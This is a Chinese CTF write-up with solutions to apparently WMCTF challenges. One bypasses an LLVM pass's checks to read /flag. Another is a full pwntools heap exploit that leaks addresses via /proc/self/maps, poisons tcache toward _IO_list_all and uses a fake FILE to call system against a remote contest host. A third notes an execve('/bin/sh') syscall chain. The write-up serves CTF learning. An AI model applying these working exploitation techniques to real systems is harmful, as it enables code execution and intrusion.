一道LLVM pass的问题,通过阅读代码可以看出绕过一些对.ll指令的限制后就可以读出flag。其中对于mmap,read,write的限制比较简单,只是判断了参数,对于open的判断较为复杂,首先需要满足call前一条指令是load,这个通过全局变量可以实现,还需要变量名有.addr,这里没在C中实现,通过修改.ll文件的变量名可以实现,另外就是需要满足3层递归,然后从最外层传入的参数中读取打开的文件名
#include <stdio.h>
const char *abcd = "flag";
int xxxx = 0x8888;
char * aa = "/home";
char bb[5] = "flag\\x00";
void WMCTF_OPEN(const char * abcd) {
return;
}
void WMCTF_MMAP(int x) {
return;
}
void WMCTF_WRITE(int x) {
return;
}
void WMCTF_READ(int x) {
return;
}
void test3(char *a) {
WMCTF_OPEN(abcd);
WMCTF_MMAP(0x7890);
WMCTF_READ(0x6666);
WMCTF_WRITE(xxxx);
}
int test2(char *a) {
test3(aa);
return 0;
}
int test1(char *a) {
test2(aa);
return 0;
}
int test0(char *x) {
test1(aa);
return 0;
}
void testxx() {
char *x = bb;
test0(x);
}
编译得到.ll文件之后在aa和abcd后面加上.addr后缀即可:
; ModuleID = 'test.c'
source_filename = "test.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [5 x i8] c"flag\\00", align 1
@abcd.addr = dso_local global i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i32 0, i32 0), align 8
@flags = dso_local global i32 0, align 4
@xxxx = dso_local global i32 34952, align 4
@.str.1 = private unnamed_addr constant [6 x i8] c"/home\\00", align 1
@aa.addr = dso_local global i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.1, i32 0, i32 0), align 8
@bb = dso_local global [5 x i8] c"flag\\00", align 1
@.str.2 = private unnamed_addr constant [6 x i8] c"/flag\\00", align 1
@cc = dso_local global i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.2, i32 0, i32 0), align 8
; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @WMCTF_OPEN(i8* noundef %0) #0 {
%2 = alloca i8*, align 8
store i8* %0, i8** %2, align 8
ret void
}
; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @WMCTF_MMAP(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}
; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @WMCTF_WRITE(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}
; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @WMCTF_READ(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}
; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @test3(i8* noundef %0) #0 {
%2 = alloca i8*, align 8
store i8* %0, i8** %2, align 8
%3 = load i8*, i8** @abcd.addr, align 8
call void @WMCTF_OPEN(i8* noundef %3)
call void @WMCTF_MMAP(i32 noundef 30864)
call void @WMCTF_READ(i32 noundef 26214)
%4 = load i32, i32* @xxxx, align 4
call void @WMCTF_WRITE(i32 noundef %4)
ret void
}
; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @test2(i8* noundef %0) #0 {
%2 = alloca i8*, align 8
store i8* %0, i8** %2, align 8
%3 = load i8*, i8** @aa.addr, align 8
call void @test3(i8* noundef %3)
ret i32 0
}
; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @test1(i8* noundef %0) #0 {
%2 = alloca i8*, align 8
store i8* %0, i8** %2, align 8
%3 = load i8*, i8** @aa.addr, align 8
%4 = call i32 @test2(i8* noundef %3)
ret i32 0
}
; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @test0(i8* noundef %0) #0 {
%2 = alloca i8*, align 8
store i8* %0, i8** %2, align 8
%3 = load i8*, i8** @aa.addr, align 8
%4 = call i32 @test1(i8* noundef %3)
ret i32 0
}
; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @testxx() #0 {
%1 = alloca i8*, align 8
store i8* getelementptr inbounds ([5 x i8], [5 x i8]* @bb, i64 0, i64 0), i8** %1, align 8
%2 = load i8*, i8** %1, align 8
%3 = call i32 @test0(i8* noundef %2)
ret void
}
attributes #0 = { noinline nounwind optnone uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 7, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"Ubuntu clang version 14.0.0-1ubuntu1.1"}
首先通过 /proc/self/maps
获取heap、libc、ld、stack、elf的基址。
然后发现当申请超过0x18个notebook,会释放原本的notebook结构体,但是仍然会设置其value值,也就是tcache 的fd(_rtld_global+vaule *num 作为fd),那么我们通过设置其value,即可实现任意地址分配。
那么我们就设置fd为 _IO_list_all
,修改其为 fake_file_struct_addr
,house of apple 一把梭。
from pwn import *
context.arch='amd64'
context.log_level='debug'
p=remote("121.42.242.77",9999)
#p=process('./pwn')
libc=ELF('./libc.so.6')
s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
rn = lambda x : p.recvn(x)
ru = lambda text : p.recvuntil(text)
dbg = lambda text=None : gdb.attach(p, text)
uu32 = lambda : u32(p.recvuntil(b"\\xff")[-4:].ljust(4, b'\\x00'))
uu64 = lambda : u64(p.recvuntil(b"\\x7f")[-6:].ljust(8, b"\\x00"))
lg = lambda s : info('\\033[1;31;40m %s --> 0x%x \\033[0m' % (s, eval(s)))
pr = lambda s : print('\\033[1;31;40m %s --> 0x%x \\033[0m' % (s, eval(s)))
def mydbg():
gdb.attach(p)
pause()
elf_base=0
heap_base=0
libc_base=0
stack_base=0
ld_base=0
def menu(choice):
ru("Enter your choice:")
sl(str(choice))
def add(vaule,name,size,content):
menu(1)
ru("Enter the value: ")
sl(str(vaule))
ru("Enter the book name: ")
s(name)
ru("Enter the context size: ")
sl(str(size))
ru("Enter the context: ")
s(content)
def delete(index):
menu(2)
ru("Enter the index: ")
sl(str(index))
def sort():
menu(3)
def load(filename):
menu(4)
ru("Enter the file name: ")
sl(filename)
def save(index):
menu(5)
ru("Enter the book idx: ")
sl(str(index))
def show(index):
menu(6)
ru("Enter the book idx: ")
sl(str(index))
def get_base():
global elf_base,heap_base,libc_base,stack_base,ld_base
ru("Context: ")
elf_base=int(p.recvuntil("-",drop=True),16)
while not (heap_base and libc_base and stack_base and ld_base):
msg=p.recvline()
if b"heap" in msg and not heap_base:
heap_base=int(msg[:12],16)
if b"libc.so.6" in msg and not libc_base:
libc_base=int(msg[:12],16)
if b"stack" in msg and not stack_base:
stack_base=int(msg[:12],16)
if b"ld-linux-x86-64" in msg and not ld_base:
ld_base=int(msg[:12],16)
ru("Enter your name: ")
sl("chuwei")
load("/proc/self/maps")
show(1)
get_base()
io_list_all=libc_base+libc.sym['_IO_list_all']
rtld_global_addr=0x3a040+ld_base
heap_addr=heap_base+0x11ea0
key=heap_addr>>12
target_addr=key^io_list_all
_IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
fake_file_addr=heap_base+0x11eb0
wide_data_addr=fake_file_addr+0xe0
wide_vtable_addr=wide_data_addr
fake_file=p64(0x3b68732020)+p64(0)+p64(0)*3+p64(1)
fake_file=fake_file.ljust(0xa0,b"\\x00")+p64(wide_data_addr)
fake_file=fake_file.ljust(0xd8,b"\\x00")+p64(_IO_wfile_jumps)
wide_vtable=b"\\x00".ljust(0x68,b"\\x00")+p64(libc_base+libc.sym['system'])
wide_vtable=wide_vtable.ljust(0xe0,b"\\x00")+p64(wide_vtable_addr)
payload=fake_file+wide_vtable
num=target_addr-rtld_global_addr
val1=num//0x16
val2=num-val1*0x16
add(val2,b'a'*0x8,0x3c0,b'a'*8)
delete(2)
for i in range(0x16):
add(val1,b'a'*0x8,0x100,b'a'*8)
add(val2,b'a'*0x8,0x100,b'a'*8)
lg("num")
lg("val1")
lg("val2")
lg("key")
lg("rtld_global_addr")
lg("target_addr")
lg("elf_base")
lg("heap_base")
lg("libc_base")
lg("stack_base")
lg("ld_base")
add(0,b'a'*0x8,0x3c0,payload)
add(0,b'a'*0x8,0x3c0,p64(fake_file_addr))
menu(7)
p.interactive()
在sub_401832中发现可以直接调用syscall,bss中存在“/bin/sh”,通过寻找运算指令设置寄存器参数:
该case为mov rxx, imm
该case为各种逻辑与算术运算
结合这两个case设置各个寄存器执行syscall(0x3b, “/bin/sh”, 0,0)
这里只有第二次的sub_40177E才可以执行syscall,两次执行之间不改变寄存器,但是会检查第二次输入的指令是否全部为19